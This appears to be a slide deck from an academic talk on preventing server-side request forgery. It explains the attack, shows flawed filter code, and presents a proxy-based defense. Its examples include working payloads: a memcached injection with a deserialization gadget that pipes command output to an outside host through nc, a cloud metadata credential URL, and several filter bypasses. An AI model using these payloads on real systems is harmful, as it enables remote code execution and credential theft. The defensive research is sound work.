1 of 26

Preventing Server-Side Request Forgery Attacks

Bahruz Jabiyev, Omid Mirzaei, Amin Kharraz, Engin Kirda

The 36th ACM/SIGAPP Symposium On Applied Computing

2 of 26

SSRF Attacks

3 of 26

What is Server-Side Request Forgery (SSRF)?

OWASP definition:

Abusing the functionality on the server to read and update local resources

4 of 26

What is SSRF?

edit-pics.com

5 of 26

What is SSRF?

animals.com

POST / HTTP/1.1Host: edit-pics.com��url=http://animals.com/�bunny.jpeg

edit-pics.com �server

GET /bunny.jpeg HTTP/1.1Host: animals.com

edit-pics.com

6 of 26

What is SSRF?

animals.com

edit-pics.com �server

7 of 26

What is SSRF?

POST / HTTP/1.1Host: edit-pics.com��url=http://192.168.0.1/�bunny.jpeg

edit-pics.com �server

8 of 26

Attack Target Types

On-premise Environment

http://0:9200/_shutdown

http://0:8000/composer/send_email?to=orange@chroot.org&url=http://127.0.0.1:11211/%0D%0Aset%20githubproductionsearch/queries/code_query%3A857be82362ba02525cef496458ffb09cf30f6256%3Av3%3Acount%200%2060%20150%0D%0A%04%08o%3A%40ActiveSupport%3A%3ADeprecation%3A%3ADeprecatedInstanceVariableProxy%07%3A%0E%40instanceo%3A%08ERB%07%3A%09%40srcI%22%1E%60id%20%7C%20nc%20orange.tw%2012345%60%06%3A%06ET%3A%0C%40linenoi%00%3A%0C%40method%3A%0Bresult%0D%0A%0D%0A

`id | nc orange.tw 12345`

9 of 26

Attack Target Types

Cloud Environment

http://169.254.169.254/latest/meta-data/iam/security-credentials/

10 of 26

Existing Defenses

11 of 26

Current Defense Mechanisms

Analysis of 61 SSRF reports from Hackerone

Defenses are usually implemented in the code level and they are often either flawed or incomplete.

12 of 26

Flawed Defenses

def is_allowed(url):

host = url.split('/')[2].split(':')[0]

prefixes = ['192.168.', '172.', '10.', '127.', '0.', '169.254.']

for prefix in prefixes:

if host.startswith(prefix):

return False

return True

import ipaddress

def is_allowed(url):

host = url.split('/')[2].split(':')[0]

return not ipaddress.ip_address(host).is_private

http://127.0.0.1:123/data

127.0.0.1

http://2130706433:123/data

2130706433

http://2130706433:123/data

http://localtest.me:123/data

13 of 26

Flawed Defenses

import socket

import ipaddress

def is_allowed(url):

host = url.split('/')[2].split(':')[0]

ip = socket.gethostbyname(host)

return not ipaddress.ip_address(ip).is_private

<?php

header('Location: http://127.0.0.1:123/data');

?>

http://localtest.me:123/data

localtest.me

127.0.0.1

http://attacker.me:123/data

Developers often have flaws in the defense code and attackers take advantage of these flaws for the bypass.

14 of 26

Incomplete Defenses

def is_allowed(url):

host = url.split('/')[2].split(':')[0]

prefixes = ['192.168.', '172.', '10.', '127.', '0.', '169.254.']

for prefix in prefixes:

if host.startswith(prefix):

return False

return True

import ipaddress

def is_allowed(url):

host = url.split('/')[2].split(':')[0]

return not ipaddress.ip_address(host).is_private

import socket

import ipaddress

def is_allowed(url):

host = url.split('/')[2].split(':')[0]

ip = socket.gethostbyname(host)

return not ipaddress.ip_address(ip).is_private

<?php

header('Location: http://127.0.0.1:123/data');

?>

In 20% of reports, the attack was “unexpected” in two different ways: a different channel or an unexpected part of a request

15 of 26

Proposed Defense Approach

16 of 26

Why SSRF happens?

Two main underlying conditions:

1. Application server makes a request based on a user input.

2. Application server usually needs to have access to internal services.

17 of 26

Proposed Defense Approach

POST / HTTP/1.1Host: edit-pics.com��url=http://animals.com/�bunny.jpg

reverse �proxy

POST / HTTP/1.1Host: edit-pics.com��url=http://helperserver/?u=http://animals.com/bunny.jpg

edit-pics.com

server

GET /?u=http://animals.com/bunny.jpg HTTP/1.1Host: helperserver.com

helper �server

animals.com

GET /bunny.jpg HTTP/1.1Host: animals.com

edit-pics.com

18 of 26

Implementation

19 of 26

Implementation

Extending NGINX with Lua

Catching URLs with colon and double slash, ://

Helper Service in a Docker container restricted by firewall rules

20 of 26

Evaluation

21 of 26

Recognizing URLs (with ://)

False Positives

Good combination of technical and non-technical texts

Examining README pages

False Negatives

22 of 26

Preventing Attacks

Applications from OWASP VWAD

Prevention Performance

23 of 26

Affecting Application Performance

Affecting Functionality

Vast majority of requests are unaffected.

Affected pages:

Affecting Speed

- Client-side redirection

- Self-signed SSL certificate

Average response time for URL sending requests

24 of 26

Evading Defense

Intermediate Deployment

Untypical Character Encodings

HTTP Request Smuggling

Code-level Deployment

Not the same speed benefits

Clear vision of request, therefore much less room for evasion

25 of 26

Final Words

We hope that this approach will be useful in the prevention efforts against the growing threat of SSRF attacks.

You can access our code at github.com/bahruzjabiyev/prevent-ssrf

Thank you so much for listening!

26 of 26

Any questions?